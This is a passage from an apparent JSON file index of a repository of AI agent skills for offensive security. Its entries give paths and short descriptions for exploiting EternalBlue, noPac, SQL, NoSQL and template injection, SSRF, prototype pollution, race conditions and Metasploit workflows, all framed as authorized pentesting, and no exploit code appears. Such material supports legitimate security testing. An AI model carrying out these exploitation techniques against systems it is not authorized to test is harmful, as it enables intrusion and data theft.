/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":190,"sizeBytes":677},{"name":"api-reference.md","path":"skills/exploiting-ms17-010-eternalblue-vulnerability/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-ms17-010-eternalblue-vulnerability/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":648,"sizeBytes":2053},{"name":"standards.md","path":"skills/exploiting-ms17-010-eternalblue-vulnerability/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-ms17-010-eternalblue-vulnerability/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":367,"sizeBytes":1279},{"name":"workflows.md","path":"skills/exploiting-ms17-010-eternalblue-vulnerability/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-ms17-010-eternalblue-vulnerability/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":665,"sizeBytes":2112},{"name":"SKILL.md","path":"skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md","title":"exploiting-ms17-010-eternalblue-vulnerability","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2FSKILL.md -->","frontmatter":{"name":"exploiting-ms17-010-eternalblue-vulnerability","description":"Detects and exploits MS17-010 (EternalBlue), a critical remote code execution flaw in Microsoft's SMBv1 implementation, using Nmap's ms-17-010 NSE script for detection and Metasploit's ms17_010_eternalblue/ms17_010_psexec modules for exploitation. Use during authorized red-team engagements or penetration tests against legacy Windows environments with unpatched SMBv1 to gain remote code execution.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","adversary-simulation","mitre-attack","exploitation","post-exploitation","eternalblue","smb","remote-code-execution"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Platform Monitoring"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078"]},"isInternal":false,"tokens":904,"sizeBytes":3849},{"name":"template.md","path":"skills/exploiting-nopac-cve-2021-42278-42287/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nopac-cve-2021-42278-42287/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":245,"sizeBytes":864},{"name":"api-reference.md","path":"skills/exploiting-nopac-cve-2021-42278-42287/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nopac-cve-2021-42278-42287/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":591,"sizeBytes":1983},{"name":"standards.md","path":"skills/exploiting-nopac-cve-2021-42278-42287/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nopac-cve-2021-42278-42287/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":320,"sizeBytes":1075},{"name":"workflows.md","path":"skills/exploiting-nopac-cve-2021-42278-42287/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nopac-cve-2021-42278-42287/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":174,"sizeBytes":615},{"name":"SKILL.md","path":"skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md","title":"exploiting-nopac-cve-2021-42278-42287","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2FSKILL.md -->","frontmatter":{"name":"exploiting-nopac-cve-2021-42278-42287","description":"Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and secretsdump.py to escalate from a standard domain user to Domain Admin. Use when red-teaming or pentesting Active Directory to validate machine-account impersonation and DCSync-based credential dumping.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","active-directory","nopac","cve-2021-42278","cve-2021-42287","privilege-escalation","domain-escalation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Platform Monitoring","Process Code Segment Verification","Stack Frame Canary Validation","Segment Address Offset Randomization","Process Analysis"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1068"]},"isInternal":false,"tokens":2228,"sizeBytes":8310},{"name":"template.md","path":"skills/exploiting-nosql-injection-vulnerabilities/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":252,"sizeBytes":1117},{"name":"api-reference.md","path":"skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":579,"sizeBytes":2236},{"name":"standards.md","path":"skills/exploiting-nosql-injection-vulnerabilities/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":301,"sizeBytes":1167},{"name":"workflows.md","path":"skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":235,"sizeBytes":1147},{"name":"SKILL.md","path":"skills/exploiting-nosql-injection-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md","title":"exploiting-nosql-injection-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"exploiting-nosql-injection-vulnerabilities","description":"Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query operators. Use when pentesting APIs or web applications backed by NoSQL databases to test input validation and injection defenses.","domain":"cybersecurity","subdomain":"web-application-security","tags":["nosql-injection","mongodb","authentication-bypass","injection-attack","web-security","database-security","api-testing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":1984,"sizeBytes":8322},{"name":"api-reference.md","path":"skills/exploiting-oauth-misconfiguration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-oauth-misconfiguration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-oauth-misconfiguration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":475,"sizeBytes":2039},{"name":"SKILL.md","path":"skills/exploiting-oauth-misconfiguration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-oauth-misconfiguration/SKILL.md","title":"exploiting-oauth-misconfiguration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-oauth-misconfiguration%2FSKILL.md -->","frontmatter":{"name":"exploiting-oauth-misconfiguration","description":"Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","oauth","oidc","authentication","web-security","authorization"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":2853,"sizeBytes":12238},{"name":"api-reference.md","path":"skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-prototype-pollution-in-javascript%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":625,"sizeBytes":2477},{"name":"SKILL.md","path":"skills/exploiting-prototype-pollution-in-javascript/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-prototype-pollution-in-javascript/SKILL.md","title":"exploiting-prototype-pollution-in-javascript","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-prototype-pollution-in-javascript%2FSKILL.md -->","frontmatter":{"name":"exploiting-prototype-pollution-in-javascript","description":"Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection into Object.prototype. Use when assessing a JavaScript/Node.js application for prototype pollution, especially where a merge, clone, or extend function accepts user-controlled keys.","domain":"cybersecurity","subdomain":"web-application-security","tags":["prototype-pollution","javascript","node-js","xss","rce","property-injection","dom-xss","server-side-pollution"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":2229,"sizeBytes":9388},{"name":"api-reference.md","path":"skills/exploiting-race-condition-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-race-condition-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":529,"sizeBytes":2446},{"name":"SKILL.md","path":"skills/exploiting-race-condition-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-race-condition-vulnerabilities/SKILL.md","title":"exploiting-race-condition-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-race-condition-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"exploiting-race-condition-vulnerabilities","description":"Detects and exploits race condition (TOCTOU) vulnerabilities in web applications using Burp Suite's Turbo Intruder extension and its single-packet attack technique to fire parallel requests that bypass rate limits, duplicate transactions, or overrun usage limits. Use when pentesting endpoints with balances, coupon redemption, or rate limiting that concurrent requests might manipulate.","domain":"cybersecurity","subdomain":"web-application-security","tags":["race-condition","turbo-intruder","toctou","concurrency","single-packet-attack","limit-overrun","burp-suite"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1027"]},"isInternal":false,"tokens":1973,"sizeBytes":9025},{"name":"api-reference.md","path":"skills/exploiting-server-side-request-forgery/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-server-side-request-forgery/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-server-side-request-forgery%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":508,"sizeBytes":1861},{"name":"SKILL.md","path":"skills/exploiting-server-side-request-forgery/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-server-side-request-forgery/SKILL.md","title":"exploiting-server-side-request-forgery","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-server-side-request-forgery%2FSKILL.md -->","frontmatter":{"name":"exploiting-server-side-request-forgery","description":"Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration tests.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","ssrf","owasp","cloud-security","web-security","burpsuite"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1078.004"]},"isInternal":false,"tokens":3563,"sizeBytes":12950},{"name":"api-reference.md","path":"skills/exploiting-smb-vulnerabilities-with-metasploit/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-smb-vulnerabilities-with-metasploit/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-smb-vulnerabilities-with-metasploit%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":496,"sizeBytes":1935},{"name":"SKILL.md","path":"skills/exploiting-smb-vulnerabilities-with-metasploit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-smb-vulnerabilities-with-metasploit/SKILL.md","title":"exploiting-smb-vulnerabilities-with-metasploit","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-smb-vulnerabilities-with-metasploit%2FSKILL.md -->","frontmatter":{"name":"exploiting-smb-vulnerabilities-with-metasploit","description":"Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","smb","metasploit","exploitation","eternalblue"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071"]},"isInternal":false,"tokens":2830,"sizeBytes":10321},{"name":"api-reference.md","path":"skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":492,"sizeBytes":1904},{"name":"SKILL.md","path":"skills/exploiting-sql-injection-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-sql-injection-vulnerabilities/SKILL.md","title":"exploiting-sql-injection-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"exploiting-sql-injection-vulnerabilities","description":"Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap. The tester detects injection points through error-based, union-based, blind boolean, and time-based blind techniques across all major database engines (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication bypass, and potential remote code execution. Activates for requests involving SQL injection testing, SQLi exploitation, database security assessment, or injection vulnerability verification.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["SQL-injection","sqlmap","database-security","OWASP-A03","injection-testing"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1055"]},"isInternal":false,"tokens":2813,"sizeBytes":12687},{"name":"api-reference.md","path":"skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-with-sqlmap%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":591,"sizeBytes":2170},{"name":"SKILL.md","path":"skills/exploiting-sql-injection-with-sqlmap/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-sql-injection-with-sqlmap/SKILL.md","title":"exploiting-sql-injection-with-sqlmap","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-with-sqlmap%2FSKILL.md -->","frontmatter":{"name":"exploiting-sql-injection-with-sqlmap","description":"Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","sql-injection","sqlmap","owasp","database-security","web-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":2217,"sizeBytes":9199},{"name":"api-reference.md","path":"skills/exploiting-template-injection-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-template-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":507,"sizeBytes":1729},{"name":"SKILL.md","path":"skills/exploiting-template-injection-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-template-injection-vulnerabilities/SKILL.md","title":"exploiting-template-injection-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-template-injection-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"exploiting-template-injection-vulnerabilities","description":"Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution. Use when pentesting a web application that renders user input through a server-side template engine and you need to confirm and weaponize SSTI.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","ssti","template-injection","rce","web-security","owasp"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":3354,"sizeBytes":12529},{"name":"api-reference.md","path":"skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-type-juggling-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":671,"sizeBytes":2168},{"name":"SKILL.md","path":"skills/exploiting-type-juggling-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-type-juggling-vulnerabilities/SKILL.md","title":"exploiting-type-juggling-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-type-juggling-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"exploiting-type-juggling-vulnerabilities","description":"Exploits PHP type juggling vulnerabilities caused by loose (==) comparison operators to bypass authentication, defeat hash verification via magic hashes, and manipulate application logic through type coercion. Use when pentesting PHP applications that compare user input with ==, in_array, or hash functions without strict type checks.","domain":"cybersecurity","subdomain":"web-application-security","tags":["type-juggling","php-security","loose-comparison","authentication-bypass","magic-hash","type-coercion","web-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1027"]},"isInternal":false,"tokens":2544,"sizeBytes":9804},{"name":"template.md","path":"skills/exploiting-vulnerabilities-with-metasploit-framework/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-vulnerabilities-with-metasploit-framework/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":261,"sizeBytes":1065},{"name":"api-reference.md","path":"skills/exploiting-vulnerabilities-with-metasploit-framework/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-vulnerabilities-with-metasploit-framework/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":717,"sizeBytes":2263},{"name":"standards.md","path":"skills/exploiting-vulnerabilities-with-metasploit-framework/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-vulnerabilities-with-metasploit-framework/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":363,"sizeBytes":1563},{"name":"workflows.md","path":"skills/exploiting-vulnerabilities-with-metasploit-framework/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-vulnerabilities-with-metasploit-framework/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":554,"sizeBytes":2676},{"name":"SKILL.md","path":"skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md","title":"exploiting-vulnerabilities-with-metasploit-framework","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2FSKILL.md -->","frontmatter":{"name":"exploiting-vulnerabilities-with-metasploit-framework","description":"Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather post-exploitation evidence, and confirm patch remediation. Use when performing vulnerability management validation, penetration testing, or post-patch verification and you need to prove real-world exploitability rather than rely on a scanner score alone.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["vulnerability-management","cve","metasploit","exploitation","penetration-testing","risk"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":1866,"sizeBytes":7478},{"name":"api-reference.md","path":"skills/exploiting-websocket-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-websocket-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-websocket-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":502,"sizeBytes":2036},{"name":"SKILL.md","path":"skills/exploiting-websocket-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-websocket-vulnerabilities/SKILL.md","title":"exploiting-websocket-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-websocket-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"exploiting-websocket-vulnerabilities","description":"Testing WebSocket implementations for authentication bypass, cross-site hijacking, injection attacks, and insecure message handling during authorized security 